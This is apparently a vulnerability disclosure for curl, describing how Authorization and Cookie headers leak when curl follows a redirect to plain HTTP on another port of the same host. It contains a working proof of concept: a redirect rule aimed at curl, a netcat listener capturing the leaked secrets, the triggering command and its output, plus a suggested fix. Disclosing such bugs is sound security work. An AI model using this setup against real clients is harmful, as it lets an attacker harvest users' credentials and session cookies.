Curl can be coaxed to leak Authorisation / Cookie headers by redirecting request to http:// URL on the same host. Successful exploitation requires that the attacker can either Man-in-the-Middle the connection or can access the traffic at the recipient side (for example by redirecting to a non-privileged port such as 9999 on the same host).
RewriteCond %{HTTP_USER_AGENT} "^curl/"
RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L]
… the attacker could also use .htpasswd
file to do so.
2. Set up netcat to listen for the incoming secrets:
while true; do echo -ne 'HTTP/1.1 404 nope\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9999; done
3. curl-L -H "Authorization: secrettoken" -H "Cookie: secretcookie" https://hostname.tld/redirectpoc
The redirect will be followed, and the confidential headers sent over insecure HTTP to the specified port:
GET / HTTP/1.1
Host: hostname.tld:9999
User-Agent: curl/7.83.0-DEV
Accept: */*
Authorization: secrettoken
Cookie: secretcookie
The attack could also use HTTPS and a valid certificate, In this case the leaked headers are of course only be visible to the listening http server.
This vulnerability is quite similar to CVE-2022-27774 and the fix is similar too: If the protocol or port number differs from the original request strip the Authorization and Cookie headers.
This bug appears to be here: https://github.com/curl/curl/blob/master/lib/http.c#L1904
Leak of Authorisation and/or Cookie headers.